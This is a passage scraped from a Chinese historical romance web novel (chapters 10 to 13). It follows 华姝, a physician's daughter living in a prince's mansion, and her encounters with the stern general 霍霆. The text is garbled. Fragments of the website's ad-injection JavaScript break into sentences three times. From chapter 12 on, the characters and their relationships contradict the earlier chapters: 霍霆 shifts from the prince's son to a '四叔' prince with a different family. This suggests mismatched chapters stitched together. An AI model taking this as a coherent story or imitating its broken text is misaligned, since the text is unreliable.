街坊们面露愧色：“华大夫那般良善，为了家国大义不惜性命。我等刚刚竟怀疑他，当真被猪油蒙了心肝呐！” 华良更是面如死灰。但真正让他生不如死的，要数送殡那日。 华良被迫父亲爹风光大葬，掏空家财，心疼得几近昏厥。身为秀才，却像牛马牲畜似的拉了一路棺椁；回来时又被勒令磕头一路，头破血流，手脚打颤。 拳打脚踢她和小白猫时有多么盛气凌人，在街头就有多狼狈不堪。 围观的人纷纷叫好，而骑马行在最前头的男人，始终面无表情。 即便有人禀告华良昏倒，他也只轻描淡写瞥了眼。似乎任何人的生死都无法牵动他情绪，那是一种根植入骨的薄凉。 华姝从小浸在父母宠爱中长大，很难想象一个人到底经历过什么，才会如此。 他令人敬仰是真的，令人畏惧也是真的…… * 如今，置身在规矩森严又气派华贵的王府，华姝好像懂了他一点，又好像仍是雾里看花。 一想到即将再见他，她从头冷到脚，越发如坐针毡。 片刻后，镇南王腾出空来召见，母女俩随管家走进旁边的主屋中堂。 主位那人虎背熊腰、剑眉虎目的粗犷长相，让她们再添拘谨。屈膝行礼时，四肢僵硬：“见过王爷。” 这一代的镇南王名唤霍宗飞，年轻时乃杀伐果决、横扫千军万马之辈，在军中威望颇高。 只不过家里意外诞生一位战神霍霆，军营战场都是用实力说话的地方，即便老子也得给儿子让位。故而霍宗飞不过年近四十，已退下兵马大元帅之职，大多时都在王府处理封地上的民生 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 政务。 “免礼，坐。”霍宗飞坐在主位，嗓音中气十足：“逝者已逝，生者节哀。你们安心住下，日后有任何需求，尽管提。” 话虽如此，两人谢恩后，规规矩矩坐到下首的太师椅处，局促难掩。 霍宗飞瞧得清楚，忽然想到什么：“你们的情况，霍霆在信中已言明。王府诸事，本王也同你们简单讲讲” “霍霆你们业已见过，常年住军营。老二霍霖性子平和，白日这会在书院，晚上就能见到。至于凝雪那丫头，”他叹口气：“自幼丧母，被本王宠坏了。如今年满十岁，有些事父兄不便教管。你们来了正好，往后多照看她一二。” 镇南王妃早逝，孙氏是知晓的。但认真听下来，貌似王府再无其他妻妾。 难怪初入王府，她们母女就能得王爷亲自召见。这让她不由安心许多，至少女儿不会受这些人的委屈。孙氏忙应道：“多谢王爷信任，民妇自当尽心侍奉。” 华姝则注意到，霍宗飞谈及两个儿子时满脸威严，说到女儿时笑得无奈又宠溺，像极了爹在世时对她的样子，对这位王爷的恐惧减轻不少。 更重要的，她听到霍霆常住军营！ 这一发现仿佛久旱逢甘霖，让人浑身轻松~~~ “多谢王爷信任，华姝也将尽心侍奉郡主。”华姝笑眯眯应道，露出两颗白净的小虎牙，乖巧又不失俏皮。 霍宗飞瞧着她心生欢喜，“你们乃府中贵客，谈不得侍奉。姝儿可曾读过诗书？若能带着凝雪多读书，已是甚好。” 再高贵的老父亲，摊上不爱读书的娃，也免不得头疼乱投医。 华姝盈盈点头，“我爹生前曾教过，投我以木桃者，报之以琼瑶。”她由衷表示：“您与霍将军待我等恩重如山，姝儿愿为王爷略尽绵薄之力。” “投我以木桃，报之以琼瑶。”此句出自《诗经》，歌咏报恩。霍宗飞对她的才情与品行都越发满意：“华不为是位好父亲，他将你教导得很好。” 忽然被夸，华姝有点不好意思。她羞赧一笑：“王爷也是位好父亲。” “哦，何以见得？” “您适才说要介绍王府诸事，实则句句不离儿女，可见将他们排在心中首位。”华姝甜甜一笑，梨涡朵朵：“和我爹一样好。” “哈哈……”霍宗飞爽朗大笑，对她欢喜更甚：“难得霍霆那性子，都说你是个眼明心亮的姑娘。今日一见，所言不虚” 华姝却笑不出了。 惜字如金的霍将军，竟在信中会提及她，还夸奖她？ 这心里面，怎么突突地不踏实呢？ 反正霍宗飞对华姝甚是满意，大手一挥，赐予她亲自挑选丫鬟的权利。 有意让她恩威并施，自己收拢忠仆。这对于初来乍到的她而言，实乃及时雨。 * 华姝挑了个圆脸小胖丫，名叫团子。今年十四，嘴碎又活泼的年纪。本在外院做杂活，能荣升一等大丫鬟，对新主子感激极了。 刚一走出主院，团子就迫不及待为华姝介绍：“以王爷的千竹堂为中心，北边是二少爷的白鹭洲，东边是郡主的紫薇阁。姑娘的月桂居在东北角。” 华姝一路往北，来到月桂居门前，暗觉不妙。 王府中心线上住男子，女眷居东侧。郡主的院落与王爷相对。娘暂居隔壁的舒云院，与二少爷相对。 那她的院子，跟谁相对？ 华姝僵硬转身，瞧着对面那座灰墙冷肃的“清枫斋”，“这间莫非是……霍将军的院子？ 团子咽了口唾沫：“……姑娘聪慧。” 她本不想头一天就吓唬人。 华姝：“……”已经被吓到了。 这算是他给潜在未婚妻的特殊优待？ 可是，她能不能不要…… “我刚听王爷说，霍将军常年住军营？”华姝此刻还抱着一丝侥幸。 “是的。” 但团子还有后半句：“将军只有逢年过节才会回府小住。” 比如，过几日的中秋节。 一阵冷凉的秋风袭来，清风斋墙头的枫叶沙沙作响，红得像团血。 华姝的最后一丝侥幸，也被秋风无情地薅走了…… 中秋在即，对面而居，真的要低头不见抬头见了！ 11. 第 11 章 “霍将军贵为世子爷，按长幼尊卑排序的话，他不应住在二少爷那间院子、与王爷毗邻而居么？”华姝不解。 “姑娘说得在理。据说将军喜静，就挑了最北边的清枫斋。” 团子推开月桂居的木门，“就像对面的这间院子，闲置好多年了。姑娘瞧瞧还缺什么，奴婢去南边的外院为您补齐。” 华姝走进月桂居，入眼就是庭下的一棵繁茂桂花树，米黄花瓣压弯枝头，沁人甜香迎面扑鼻。 她家也有棵桂花树！ 意外的熟悉感，让她不禁喜溢眉梢。 走进主屋，左边是米黄清雅的香闺,右边书房里的满墙医书，更让她喜难自持：“团子，你可知先前是何人住在月桂居？” 华姝隐隐生出一种大胆的猜想。 “这个不知。自从奴婢五年前被买进来，月桂居就一直闲置着。”团子递给她一杯茶水，“不过能去为姑娘打听打听，奴婢跟外院的嬷嬷们很相熟。” “倒也不必麻烦，我就随口一问。” 华姝道谢接过茶盏，毕竟是寄人篱下，她还是处处谨言慎行为好。 比如，“霍将军除了喜静，可还有其他忌讳？” 华姝拉着团子，顺势跪坐在书架前的长案旁，拿出随身带的糖果分给她，以便打听清楚霍霆的喜恶。 小团子吃人嘴软，知无不言：“将军性子清冷，喜怒不形于色。除了他亲卫，府中鲜少有人能靠近。就连郡主，敢拔王爷的胡须，可一瞧见将军立刻安静。” 华姝听得心一颤，看来不是她一人怕他怕得紧呀。 也越发好奇：“将军的性情，是因常年战场厮杀的缘故吗？”可她适才瞧着早年征战过的王爷，还挺平易近人的。 “可能吧。只记得有嬷嬷曾说，”团子回忆：“将军十五岁就上阵杀敌，一人一剑抢回一座城，阻止敌军对上万百姓的屠杀，杀神名号由此而来。” 团子虽然念叨着“杀神”，但语气与有荣焉。 华姝也不得不承认，霍霆虽然性冷可怕，却是不折不扣的民族英雄，是整个镇南王府的骄傲。 十五岁就能让敌国损兵折将，这种奇迹，光是想想都觉得不可思议。可放在性情捉摸不定的霍霆身上，一点都不违和。 华姝反观十五岁的自己，弱小得连爹娘、甚至小白猫都保护不了，不禁耷拉下脑袋，有几分泄气。 但当她余光顺着五彩缤纷的晚霞，扫到一整墙发光的医书后，转而恢复信心—— 闻道有先后，术业有专攻。她从现在开始努力，也就不算太晚！ * 清风拂来，桂花树飘香满院，檐下的玉竹风铃“叮咚”作响。 浅色柔和的落日余晖，给树下正挖土的娇小身形，拉出一道长长的暗影。 华姝简单收拾后，将小白猫的骨灰，连同它喜欢的毛球，一同埋到桂花树下，“小白，你先陪姐姐安心住这，好不好？” 小白是她两年前从河边捡的，后来每晚都陪在她枕边，就像家人一样。 见到父亲尸首的那晚，她不敢落泪再惹母亲伤心，更想到父亲出门前说的要她照顾好母亲，所以在人前会故作成熟，只有关起门来抱着小白才敢孩子气地啜泣。 小白似能感应到姐姐的脆弱。平时喜欢爬墙招桃花的小野猫，那几日会乖乖卧在她旁边，时不时用毛茸茸的圆脑袋蹭她腿，打滚翻肚皮，变着花样逗她开心。用它独有的笨拙陪伴，帮姐姐驱散心头沉重，给予莫大力量。 那日眼看她被华良抓住，也是小白突然扑过来，一爪子挠在华良手上，为她争取到宝贵的逃生机会。 华良迫不得已吃痛松手，怒不可遏一脚踹去。小白重重撞到墙上，又弹回地面，“嗷嗷”朝他龇牙，却怎么都爬不起来了。 万幸猫都有九条命，它只是脾脏受损，"回头姐姐再给你做两身棉衣，冬日护好你的脏腑脾胃。等来年开春，咱家小白就又是一条好汉啦！” 华姝记得特别清楚，那日也是在家中的桂花树下。小白吃饱喝足后，欢快舔着她手指“喵喵”回应。 她出门去给它买鱼，等再回家时，白茸茸身子已僵硬、双眼还直勾勾望着门口，像是想和姐姐作最后的告别…… “小白，等姐姐做完两件棉衣，再一起烧给你。” 眼前浮现出她和小白一幕幕的美好回忆，从它初时胆怯、逐渐撒娇、到后来时而黏人时而傲娇，华姝越是回忆，眼泪越是决堤。 团子递来帕子，“姑娘，擦擦吧。” 华姝接过帕子拭泪，“多谢，让你见笑了。” “怎么会？”团子扶她起身，走回房中，“好容貌，好才情，好性情，对猫儿都这么付出真心……能伺候这位新主子，奴婢真真是三生有幸。” “不过您也别太伤心，”团子边为她倒水净脸，边开导道：“猫狗的寿命比人短，走在我们前头也是常有的事。” 华姝走到梳洗台旁，往脸颊泼了一把冷水，“小白不是病死的，是被人活活掐死的。”一想到这，她再度疼得摧心断肠。 “天呐！谁这么可恶？”团子义愤填膺：“那您有找到真凶吗？这种猪狗不如的畜生，就该千刀万剐！” “是我二叔儿子干的，后来多亏霍将军帮忙……” “姝儿，收拾得怎么样了？” 这时，院门“吱呀”作响。是孙氏安顿好舒云院中的杂事，过来瞧她。 华姝不想母亲难过，忙擦干净脸，笑盈盈迎出去，诉说对桂花树和满墙医书的欢喜。 眼见女儿喜欢月桂居，孙氏放下心，越发感激霍霆的安排。 王府每逢初一和十五会同到饭厅用膳。今日八月十二，晚饭由团子领着从华家带来的牛婶去厨房端来，母女俩在月桂居的中堂，同桌而食。 吃饭前，华姝不忘向华不为浅浅道声平安，也分享了满墙医书带来的喜悦。牌位被供奉在孙氏房中，她就往檐下台阶旁倒尽一碗酒。 晚霞秋风，落花满地，檐下的玉竹风铃随风而响，好似亡父在天之灵给予的回应。 华姝欣喜寻声看去，又仰头望着碧落苍穹，水眸盈盈。 ——爹，我和娘在这都好，您放心吧。姝儿会努力长大，照顾好娘，守住我们永远的家。 * 次日清早，惦记着霍宗飞交代的伴读一事，华姝前往霍凝雪的紫薇阁拜见。 起初，丫鬟来讲郡主未起，她就与团子站在门口等。大半时辰后，丫鬟又来讲郡主身子有碍，她后知后觉，自己这是吃了闭门羹。 眼见头顶太阳渐盛，团子心疼说道：“郡主性情一向如此，不是故意针对您。” “没事，我有心理准备。”昨日霍宗飞介绍爱女时，字里行间的无奈；加上团子用霍凝雪去衬托霍霆的性情，其实就有感知了。 更何况她们出身有着云泥之别，又是寄人篱下，总不能主人家给几分薄面，真就忘记自己是谁。华姝故作轻松笑笑：“先回吧，咱们改日再来拜见。” 团子暗自叹口气，姑娘太过温柔，往后怕是少不得被郡主磋磨。 出门一趟，没见到霍凝雪，倒是经过白鹭洲院门口时，意外碰见霍霖。 十七岁的温润美少年，正带着书童准备出门。他眉眼肖似霍霆，但柔和无害。一袭低调的鸦青长衫，透着浓郁儒雅气，“这位，就是新来的华家小姐？” “见过二少爷。”华姝屈膝行礼。 “大哥的朋友就是我的朋友，日后不必多礼。”霍霖拱手回礼后，笑问：“想着你们昨日舟车劳顿，我就暂未去拜会，没想到华姑娘起得这般早。” “王府景色秀美，忍不住想转转……” “姑娘说谎！” 团子忍不住替她打抱不平，提及霍宗飞要华姝陪霍凝雪读书的事，“二少爷，还请您帮帮姑娘吧。我们都在这等了近一个时辰……” 被当场戳破谎言，华姝哭笑不得，尴尬搓搓手指。但瞧着团子都敢向霍霖告状他亲妹妹，可见霍宗飞所言不假，这位二少爷性子平和，宽以待人。 然后就瞧见霍霖平易近人地低笑出声，“我不是笑你，是笑凝雪那丫头。父王让你教她读书，何止身子有碍，都能要她半条命。” 他对华姝解释：“凝雪心眼不坏，今日她是对事不对人。回头我请父王派人去帮你说一声，她明日就不敢不让你进门了。” 华姝被他笑容感染，也是莞尔：“多谢二少爷，我会尽心为郡主陪读的。” 乖巧知礼，与家里的小霸王形成鲜明对比，让霍霖不禁侧目，多瞧上几眼。 十五岁正是介于小姑娘与少女之间的年纪，温婉又透着一股欢脱。笑起来梨涡朵朵，在阳光照耀下，清甜又明媚。 尤其那双狗狗眼，乍看干净无辜，细看又清纯懵懂得引人亲近，想保护…… 霍霖倏地回神，重新摆正自己位置：“华姑娘肯不计前嫌，霍霖在此替舍妹谢过。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“二少爷言重了。” * 翌日，华姝同一时辰前往紫薇阁，果真顺利进门。 中堂内，芙蓉纹路小窗半开，炽碎的晨曦透过紫色金丝窗帘，泼洒在地面的紫罗兰织锦绒毯上。 至于西间书房，晦暗不明，连窗帘都懒怠拉开，可见这位小郡主真是不爱读书的。 华姝不免头疼，但很快若无其事地收回余光，规矩见礼：“华姝见过郡主。” 霍凝雪一袭华美的紫黛薄纱罗裙，抱胸坐在主位，“就是你，非要教本郡主读书？” 她仰头瞧着华姝顿觉没气势，于是站起来。还是不够高，她又站到了太师椅上。直到能俯看华姝，才算满意。 十岁孩童尚未盘发，垂髫麻花辫随着她动作晃来晃去，气势没增，倒是瞧着挺有趣。 华姝忍俊不禁，沉闷心情忽然就轻快起来，“谈不上教导，只是陪读罢了。” “陪读也不是谁来都行的。”霍凝雪扬起下巴，“若能过得了本郡主三关，才算有资格。” 华姝了然，看来这位郡主昨日也是挺忙的，一边身子不适，一边还要准备题目。 第一关，诗词接龙。 “晚来天欲雪，能饮一杯无？”霍凝雪得意挑眉：“上一句。” 诗词接龙一向承接下句，且此上句传诵不广。这题目小有难度，但难不倒华姝：“绿蚁新醅酒，红泥小火炉。” 团子竖起大拇指。 霍凝雪不甘地抿抿唇：“第二关，猜谜。” “你可听好，我今日早膳要吃一道面食，一道荤菜，一碗热汤，一个甜果。”她跳下太师椅，绕着华姝踱步，“这四道吃食必须满足：骨包肉，肉包骨，皮包水，水包/皮。” 团子径直两眼一黑。 旁边的婢女挑眉偷笑。这题目，她可翻找了一日一夜。 华姝这回也有点犯难，抵唇沉思。 皮包水，水包/皮。本是扬州习俗，早间空腹吃茶，晚间泡澡泡脚。可问题是，规定谜底得是吃食，且特定种类。 “想不出来了吧。”霍凝雪叉起小腰，“就你这水平如何教我？赶紧回去……” “灌汤包是皮包水，鸡腿是肉包骨，陈皮甜汤是水包/皮，石榴是骨包肉。” 华姝娓娓道出答案，惊呆了那婢女。 团子也愣住一瞬，而后狂喜：“全对！姑娘好生厉害！” “闭嘴，你可是王府的人。”霍凝雪指着团子，气得七窍生烟。 她也没想到，这么难的题目居然能被答出来，“看来，本郡主是时候拿出看家本领了。那就是——” 捉迷藏。 作为压轴一关，自然不是普通捉迷藏。王府西侧花园，霍凝雪躲进假山密室，既能朝外喊话，又任凭华姝翻找数圈都寻不见人影。 “只有一刻钟啊，找不到我，你可就输……” “霍凝雪，出来。” 熟悉的清冷沉声，陡然响起，仿佛平地一声惊雷！ 整座王府花园瞬间鸦雀无声，就连枝头那只黄绿色的杂毛鹦鹉，都识趣地逼上嘴。 密室里，闯了祸的霍凝雪，急得如热锅上的蚂蚁：完了完了，大魔王怎么提前回府啦？ 小霸王撞上大魔王，真可谓是小巫见大巫，气势全无…… 王府的假山东西南三面环湖，修有汉白玉护栏，可凭栏观赏湖中的荷花和锦鲤。往南是湖心凉亭，由拱桥相连，一路通往南岸。 假山密室的门面朝北岸，开阖无声无息，独具匠心。 霍霆一袭湖蓝色常服，长身玉立于北岸边。茂密翠柏下，他气场冷肃依旧，仿佛都能让草木无风自动。 霍凝雪不敢磨蹭太久，硬着头皮挪步到他面前，讨好笑道：“大哥回来啦，路上累不累，可要用膳？” 华姝从对面寻声而来，望见假山的巧思，不由震惊于镇南王府的深厚底蕴。但让她更震惊的，还是霍霆提前回府。 躲是躲不掉了，她沿着蜿蜒的汉白玉护栏小路，也来到北岸，规规矩矩行礼，“见过霍将军。” 霍霆目光淡淡扫过两人，“你们何故在此？” 清冷语调，不怒自威。 霍凝雪不寒而栗：“……华姑娘初到府上，我作为主人家，理应带她到处转转。”她转头拼命朝华姝使眼色，“对吧，华姑娘。” ？ 烫手山芋突然抛过来，连带霍霆冰冷的目光，让华姝顿时压力倍增。 12. 第 12 章 “老夫人知道今日是您的大日子，表姑娘肯定要来问安。特意命人备了您爱吃的核桃糕，和羊奶茶。” 不等霍霆表态，桂嬷嬷先行扬声笑道 这是对屋内两位主子的婉言提醒，亦是对华姝的变相保护。 屋内谈话内容，关系霍家分家这等大事，自然别人知道得越少越好。即便老夫人疼爱这孙女，但四爷的心思，旁人也不敢妄加揣度。 华姝朝桂嬷嬷感激一笑，她刚刚的确差点失了分寸。 屋内的谈话声，也随之中止。 老夫人慈爱的声音，从雕花窗户处传出：“是姝儿来啦，外面天凉，快些进来坐。” 随即便有丫鬟挑起门帘：“表姑娘快请。” 华姝点头致谢，而后在桂嬷嬷的陪同下，袅袅款款走入主屋内。 从刚刚母子谈话声辨别，两人是坐在右间茶室的窗前软塌上，于是她转脚向右边走去。 也就在这时，那人和缓平淡的嗓音，再度悠悠响起：“圣上赐的府邸，作为别院即可。此前都是三位兄长在照看母亲，日后澜舟也得好生孝敬您才是。” 华姝摇曳生姿的淡绿裙裾，有一瞬的迟缓。 男人这话，自然是说与老夫人听的。 可她不知自己多心与否，隐隐有一丝错觉，这话亦是说给他听的。 不搬走，继续对门住着。 日日低头不见抬头见。 其实不止她，就连身后的桂嬷嬷，脚步亦是有片刻的微顿。 这等母子私密谈话，四爷既是没防着表姑娘，那就是也没拿她当外人呐。 这是好事，桂嬷嬷由衷替华姝开心。 待老夫人百年之后，表姑娘还能有人依靠，老夫人走得也会踏实些。 霍老夫人自然也是通透的。 两好并成一大好，老人家越发欢喜和乐：“好孩子，有你这句话就够了。如今先好生养伤，日后的事日后你再做决定罢。不论何时，只要你欢喜，娘就欢喜。” “祖母安好，……四叔安好。” 两人谈话结束，华姝以恰当好处的步速，也走到檀香袅袅的茶室内，朝软塌上的两人欠身行礼，淡绿色的裙裾微微堆叠在脚边，好似摇曳生莲。 软榻上，霍霆坐在靠近入屋的雕花拱门一侧，长缨贴着门边笔直无声而立。 “冷不冷，坐下说话。” 坐得靠里的老夫人朝她伸出手，华姝乖巧地递手过去。 老夫人顺势拉着好侄女坐到软塌旁的矮凳上，然后看向对面的儿子，“自打澜舟回来后，你们叔侄俩还是头一次见呢吧。” 这一声“叔侄”，听得俩当事人都眸色微异。一人低头去饮茶，不急不缓地。一个则是咬了一小口核桃糕，樱唇秀气地慢慢咀嚼着。 反正是，俩人谁都没有吭声。 若追究起来，那就是嘴都堵上了，不好答话。 一旁的桂嬷嬷，很有眼力见地没让气氛冷掉，笑着插了句嘴：“刚巧老奴才问过，表姑娘说在大夫人那遇到过。” “那感情好啊。”老夫人来了兴致：“你们那日都聊了些啥呀？” 老人家出发点自然是好的。 殊不知，又是致命一问。 霍霆还好，神色如常品着茶。 但华姝就不太妙了，眼前浮现起那日的一件件尴尬事宜，端庄矜持如她，嘴里的糕点差点没咽利索。 木屋内零零碎碎亲密，肯定不能提。 在人家背后说坏话、还被当场抓包的事，她也不好意思说。 经大伯母讲述的，她幼时在他进士文牒上画画的事……华姝没记忆，姑且厚脸不承认吧。 但老夫人的问话，总是要回的。 可不敢指望着那位来为她当挡箭牌。 “……那日为四叔诊脉来着。入秋后天干物燥，姝儿之前为大伙缝制了香囊，这两日也为四叔做了个。”华姝趁机拿出准备好的香囊，起身走到霍霆面前，纤纤玉手递过去。 霍霆放下茶杯，目光顺着眼前的纤细白净皓腕，。徐徐落在跟前人的白净姣好脸蛋上。 清早的明媚晨曦，从他身后的雕花窗户上歇歇照射而入，在少女如画的眉眼上，额外映出一幅喜鹊衔梅的雕花之画。密如鸦羽的卷翘长睫，一如既往地微颤着，垂眼不敢瞧他。 她在外面那会，一进院门同桂嬷嬷打招呼，他就听到了。软软的嗓音，透着点雀跃。 等着他答复是否搬离的紧张眸色，隔着薄薄的细纱窗户纸，也随之落入他眼里。 这会雀跃不复，她应是失望的吧。 看似心思百转，其实也不过一瞬的功夫。 加之霍霆举手投足一向稳慢有序，正得了空吃早间茶点的老夫人，倒也没让察觉异样。 不过，长缨做了多年侍卫，深知他家王爷作为驰骋沙场的战神将军，从来不喜这些酸书呆子的挂件。 见霍霆没第一时间接过，长缨猜测，自家王爷定是碍于老夫人的面子，不好直接拒绝。于是，他索性伸手去接，完事再随便找个没人的地方丢掉便是。 不成想，一只稳健的大手已先他一步接过香囊，慢条斯理地放到袖袋里，“有心了。” 长缨：嗯？ 王爷怎么又不按常理出牌？ 王爷最近变化有点大啊！ 不对劲，太不对劲了…… “应该的，您不嫌弃便好。” 见香囊送出去了，人情债减少几分，华姝坐回去时，唇角禁不住翘起一抹雀跃小弧度。 她规行矩步惯了，笑意一纵即逝。 却是逃不过那双能百步穿杨的法眼。 不过霍霆倒不至于跟个小姑娘计较，老母亲不是才说的，这是他侄女。 目光落在华姝身旁小几的核桃糕上，一时兴起，也从手边的白玉碟子里捡起一块，尝了口。有点子甜，果然是姑娘家的喜好。 他将剩下的半块放回去，低头时，余光不自觉瞥了眼袖子里的香囊。从面料到绣工，精致而华美。 无论选材还是针脚，显然都比他那双黑靴子的要用心多了。 果真是个花言巧语的小骗子。 斜对面，华姝双手捧着羊奶茶盏小口啜饮着，偷瞄过去的眼神注意到男人的悄然举动。 眼睛眨了眨，福至心灵地脸颊一热。 她真不是故意的。 香囊年年都会给府上的人做，做鞋子倒也给祖母做过，但给男人做鞋还是头一回。父亲在她八岁那年就意外故去，府上几位叔伯的鞋子自有妻子缝制，她可不就是没经验嘛。 不过言而总之，那日谈话内容的事，就被华姝用送香囊的事，轻巧地岔开话题。 三人吃了会茶点，母子俩又继续聊起府上大事小情。华姝安静在一旁听着，偶尔应和两句，只等大夫人和霍千羽过来请安，然后就一道往外坐诊去了。 哪知，这母女俩一过来，那晚的事再度被提起，啥啥都瞒不住了哟。 得知华姝说霍霆长得凶，老夫人倒也不气，“你四叔素来是个面冷心热的，姝儿不必怕他。日后若真被他吓到，来找祖母做主便是。” 华姝羞赧应声：“祖母和四叔对我们都很宽好的。” 至于那画画的事，老夫人更是被逗得乐不可支：“你大伯母倒是没记错，姝儿自小可黏着澜舟了。其他几个侄子侄女都不敢去招惹他，唯独那会最小的姝儿，初生牛犊不怕虎。” “对对对，我记得也是这么回事。”大夫人像是找到知音似的，笑着附和。 旁边桂嬷嬷亦是笑着点头。 至于另一位当事人，安稳不动如山，似也在聚精会神听乐子。 孤立无援，这就让人无奈了。 华姝一寸寸埋低头，红着脸不再答话。能让长辈们乐呵乐呵，权当她尽孝了吧。 “我约莫记得那会，”老夫人兴致勃勃地开始陷入漫长的回忆：“是姝儿喝了满满一壶的女儿红，躺在澜舟的书桌上东倒西歪的，才闹出那么个趣事。” “好家 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 伙，你三岁就敢一口闷啦？” 霍千羽转头看过来，一脸的惊奇又钦佩：“没瞧出来啊，你这是英雄不问当年勇啊。” 听她这精辟发言，屋内笑声再起。 华姝大窘，头埋得更低，瓮声瓮气地小声辩驳：“我是真没印象了。” 老夫人知道这侄女脸皮薄，索性一碗水端平，将矛头调转到儿子身上，“咱霍家有规定，男子不满十六不准饮酒。那会澜舟年少中进士，心中欢喜就藏了一壶。结果自己一点没捞着，都便宜了小侄女。” 众人亦是忍俊不禁。 但碍于霍霆浑身生人勿进的威严，倒是不敢再笑出声。 桂嬷嬷婉言劝道：“都说岁月如梭，当年的少年进士，这一转眼呐，已贵为王爷了。” “是这个理儿，澜舟今非昔比了。” 在兴头上的老夫人，反应过来，“倒是为娘一时欢喜，说漏了嘴。” “无妨。” 一直没怎么搭话的霍霆，抬眼看向斜对面羞羞答答的人儿，徐徐开口：“幸得母亲提醒，我才能知晓，有个姑娘还欠着我一壶女儿红。” 他语气依旧轻缓沉稳，波澜不惊。 但话里话外，都在暗示讨要他的那壶女儿红。 某个女儿家，瞬间羞红了娇俏小脸。好似当场就要还给他似的。 霍千羽哈哈大笑，再度精辟发言：“那时隔这么多年，按利息折算，可就不是一壶了呢。姝儿，你怕是要为了四叔，倾家荡产了。” 她现在为了他，已经倾家荡产了。 华姝葱白手指搅着淡绿色裙摆，闷闷地应道：“我会想办法还上的。” 不止是那壶女儿红。 霍霆淡淡凝着她，将漂亮脸蛋上的窘迫和失落都看在眼底，没再接话。转头瞧了眼多宝阁上的靛青色沙漏，“时辰差不多了，你们早些出发罢。” 他的话一出，谈笑众人顿时肃然起来 “是差不多了，”霍千羽也瞧一眼沙漏，摇动轮椅，“那祖母、四叔，我们且先去了。” 华姝亦是起身拜别。 老夫人拉着她手，不放心地仔细叮嘱道：“能者多劳但也量力而为，你俩千万别累着自己个。” 华姝乖巧应下，然后就准备隔着霍千羽的轮椅，先一步离那人远远出门去。 岂料，她素手才掀起茶室门口的珠帘叮咚作响，就被男人逮个正着。 “你出身杏林世家，医术固然过硬。然女子行医终究是少数，若为人轻视，可有应对之策？” 熟悉的口吻，又一次适时响起。 威严不容抗拒，且不言明何人。 偏偏又是专门指代她的问话。 华姝不敢不应，脚尖微转，温温吞吞站到他跟前，像学生应对夫子提问一般，垂眸认真应答：“目前能想到的法子是，事实胜于雄辩。” 当初在山上，被那些伤疤彪汉们轻视时，她用的正是这一招。 “若有旁人曲解事实，你当如何？” 霍霆又问道。 “军中将士大多是心明眼亮之辈，想来我稍加解释，总会有人仗义出声，纠正事实的。”华姝又答道。 “若寻衅滋事者，乃是将士们亦不敢得罪的人，你又当如何？”霍霆再问。 “这……” 华姝先前倒是没想过这一层，她鲜少将旁人往坏处去想。 若真要遇到大家伙都不敢得罪之人，那必当是皇亲贵胄级别的贵人了。若被贵人诬陷，她一个无权无势、手无寸铁的小姑娘，又能如何呢？ 华姝垂下眉眼，咬着唇想，只要不是入狱砍头的大责难，忍一忍也能过去的吧。 霍霆起初没有催促，只定定瞧着。 待瞧见她那黯然神伤的脸色，复而沉声开口：“无论奸小或贵人，若在外受了责难，不必隐忍。回来告知于我……或你大伯父。” 他从她身上挪开眼，看向霍千羽： “记住，你们是镇南王府的人，是我霍霆的人。” 13. 第 13 章 其实，华姝也一直想再见见这位将士，当面道歉。 可这会大庭广众之下，她实在不便承认此事。尤其霍霆并未将真相告知这人，她更不敢擅自作主。 于是，她轻摇头，“我不认识你。” “但我真的……”刀疤彪汉也意识到旁边人太多，赶忙压低声音：“我真的见过一位女神医，且长得与您极像。” “你、你就只能看见她一双眼，脸都未瞧全，如何就妄下定论？”霍千羽还是极度惧他，但为着华姝，还是颤声反驳道。 “可……” “你莫不是瞧上人家姑娘，故意搭话吧？”旁边的胖老板看不下去了，出言帮忙解围。 刀疤彪汉动了动嘴皮子，终是没再追问，但困惑的目光仍忍不住端详着华姝。 华姝假装没瞧见，温声道：“诊脉吧。” 刀疤彪汉将壮硕粗臂横到手枕上，华姝凝神扣脉，确保被她刺的外伤没想到五脏六腑，稍稍放心些。 然后，她观察他脸色和舌苔等情况，“你近来可是身体多疲乏，经常食欲不振，腹胀？” 刀疤彪汉敬佩地点点头，“不错，全被您说中了。” “你这是湿热入体所致，我给你开一道……” “霍家小姐稍等，属下插一句嘴，还望您莫怪罪。” 一个士兵刚好从旁边隔间看诊完，路过时出言反驳：“属下跟这位兄弟的症状一样，刚刚大夫说了，是燥热之症。” 排队等在门口的士兵，原本就很关注这边看诊的后续。大伙虽没说什么，但现下已面露恍然——瞧瞧，就说女大夫不行吧。 华姝不予理会，只肯定道：“两种病症的确都有上述病症。但他不是燥热，是湿热。” “霍家小姐，您可不能砸我招牌啊？” 给这士兵看诊的旁边大夫，闻言站出来，中气十足地解释道：“他们从岭南那边回到北部中原，本就水土不服，恰逢秋日天干物燥，是而患上的自然燥热之症，不可能是湿热。” 胖老板听后，略略过来叩打刀疤彪汉的脉搏，而后朝华姝难为地点点头，“您不若再重新诊诊，小的瞧着也是燥热。” 霍千羽本来是甚是相信华姝，但瞧胖老板也如此说，不免有些担心。 莫不是姝儿也害怕这刀疤男，一时紧张错诊了？ 但当转头去瞧华姝时，却见她目光依旧波澜不惊，不急不缓解释道：“从南方回中原，的确会因水土不服、天干物燥，患上燥热之症。 但正因为他们常年待在南方，那边气候湿热，而他们大多时住在军帐内，床铺低矮，更容易湿邪入体，且多年日积月累。” “各位来瞧他们的面色。” 华姝抱歉一笑：“士兵们常年栉风沐雨，肤色较为幽黑。若瞧得不仔细甄别，燥热的面红耳赤和湿热的面色昏暗，就容易被混淆。” 经她这么一说，其余人不由又仔细观察两人面色，发现那士兵的面色黑中偏红，但刀疤彪汉的脸色则是黑中发黄。 “还真是！” 霍千羽最为欢喜，“没有诊错，就是湿热！” 胖老板和男大夫也相继点头，“霍家小姐心思细腻，这在行医时乃大智慧，我等佩服！” 门口排队的士兵，也随之惊叹： “原来还真是女神医！” “那咱也让霍家小姐帮着瞧瞧！” “刚刚多有轻视，实在汗颜……” 军营里的糙汉子一惯如此，你的实力若真比我强，那我就由衷佩服，该认错就认错！至于怕丢脸，不存在的。 如此一来，女神医的名号正式打了出去，往华姝这个隔间来排队的人，越来越多。 而且还惊喜地发现，华姝会送些自制的特效药膏，大伙更是蜂拥而来。 